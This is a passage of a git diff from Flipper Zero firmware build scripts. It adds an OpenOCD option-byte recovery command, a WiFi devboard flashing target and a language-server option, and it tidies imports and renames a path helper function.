self._add_args(self.parser_recover) + self.parser_recover.set_defaults(func=self.recover) def _add_args(self, parser): parser.add_argument( @@ -75,6 +81,20 @@ class Main(App): return return_code + def recover(self): + self.logger.info("Setting Option Bytes") + + # OpenOCD + openocd = OpenOCDProgrammer( + self.args.interface, + self.args.port_base, + self.args.serial, + ) + + openocd.option_bytes_recover() + + return 0 + if __name__ == "__main__": Main()() diff --git a/scripts/ufbt/SConstruct b/scripts/ufbt/SConstruct index 9a9e0938c..1c2f2bdf5 100644 --- a/scripts/ufbt/SConstruct +++ b/scripts/ufbt/SConstruct @@ -1,12 +1,11 @@ -from SCons.Platform import TempFileMunge -from SCons.Node import FS -from SCons.Errors import UserError - - -import os import multiprocessing +import os import pathlib +from SCons.Errors import UserError +from SCons.Node import FS +from SCons.Platform import TempFileMunge + SetOption("num_jobs", multiprocessing.cpu_count()) SetOption("max_drift", 1) # SetOption("silent", False) @@ -67,16 +66,15 @@ core_env.Append(CPPDEFINES=GetOption("extra_defines")) # Now we can import stuff bundled with SDK - it was added to sys.path by ufbt_state -from fbt.util import ( - tempfile_arg_esc_func, - single_quote, - extract_abs_dir, - extract_abs_dir_path, - wrap_tempfile, - path_as_posix, -) -from fbt.appmanifest import FlipperAppType, FlipperApplication +from fbt.appmanifest import FlipperApplication, FlipperAppType from fbt.sdk.cache import SdkCache +from fbt.util import ( + path_as_posix, + resolve_real_dir_node, + single_quote, + tempfile_arg_esc_func, + wrap_tempfile, +) # Base environment with all tools loaded from SDK env = core_env.Clone( @@ -107,7 +105,7 @@ env = core_env.Clone( PROGSUFFIX=".elf", TEMPFILEARGESCFUNC=tempfile_arg_esc_func, SINGLEQUOTEFUNC=single_quote, - ABSPATHGETTERFUNC=extract_abs_dir_path, + ABSPATHGETTERFUNC=resolve_real_dir_node, APPS=[], UFBT_API_VERSION=SdkCache( core_env.subst("$SDK_DEFINITION"), load_version_only=True @@ -277,7 +275,7 @@ for app in known_extapps: continue app_artifacts = appenv.BuildAppElf(app) - app_src_dir = extract_abs_dir(app_artifacts.app._appdir) + app_src_dir = resolve_real_dir_node(app_artifacts.app._appdir) app_artifacts.installer = [ appenv.Install(app_src_dir.Dir("dist"), app_artifacts.compact), appenv.Install(app_src_dir.Dir("dist").Dir("debug"), app_artifacts.debug), @@ -348,6 +346,9 @@ appenv.PhonyTarget( '${PYTHON3} "${FBT_SCRIPT_DIR}/serial_cli.py" -p ${FLIP_PORT}', ) +# Update WiFi devboard firmware +dist_env.PhonyTarget("devboard_flash", "${PYTHON3} ${FBT_SCRIPT_DIR}/wifi_board.py") + # Linter dist_env.PhonyTarget( diff --git a/scripts/ufbt/site_tools/ufbt_help.py b/scripts/ufbt/site_tools/ufbt_help.py index 3f13edcdb..3d7f6f002 100644 --- a/scripts/ufbt/site_tools/ufbt_help.py +++ b/scripts/ufbt/site_tools/ufbt_help.py @@ -26,6 +26,8 @@ Flashing & debugging: Install firmware using self-update package debug, debug_other, blackmagic: Start GDB + devboard_flash: + Update WiFi dev board with the latest firmware Other: cli: diff --git a/site_scons/commandline.scons b/site_scons/commandline.scons index 0e75cd908..bc0e65093 100644 --- a/site_scons/commandline.scons +++ b/site_scons/commandline.scons @@ -231,7 +231,6 @@ vars.AddVariables( ("applications/settings", False), ("applications/system", False), ("applications/debug", False), - ("applications/external", False), ("applications/examples", False), ("applications/drivers", False), ("applications_user", False), @@ -254,6 +253,15 @@ vars.AddVariables( "Full port name of Flipper to use, if multiple Flippers are connected", "auto", ), + EnumVariable( + "LANG_SERVER", + help="Language server type for vscode_dist.", + default="cpptools", + allowed_values=[ + "cpptools", + "clangd", + ], + ), ) Return("vars") diff --git a/site_scons/environ.scons b/site_scons/environ.scons index 0cdc45557..6d7286d2f 100644 --- a/site_scons/environ.scons +++ b/site_scons/environ.scons @@ -3,7 +3,7 @@ from fbt.util import ( tempfile_arg_esc_func, single_quote, wrap_tempfile, - extract_abs_dir_path, + resolve_real_dir_node, ) import os @@ -59,7 +59,7 @@ coreenv = VAR_ENV.Clone( PROGSUFFIX=".elf", ENV=forward_os_env, SINGLEQUOTEFUNC=single_quote, - ABSPATHGETTERFUNC=extract_abs_dir_path, + ABSPATHGETTERFUNC=resolve_real_dir_node, # Setting up temp file parameters - to overcome command line length limits TEMPFILEARGESCFUNC=tempfile_arg_esc_func, ROOT_DIR=Dir("#"),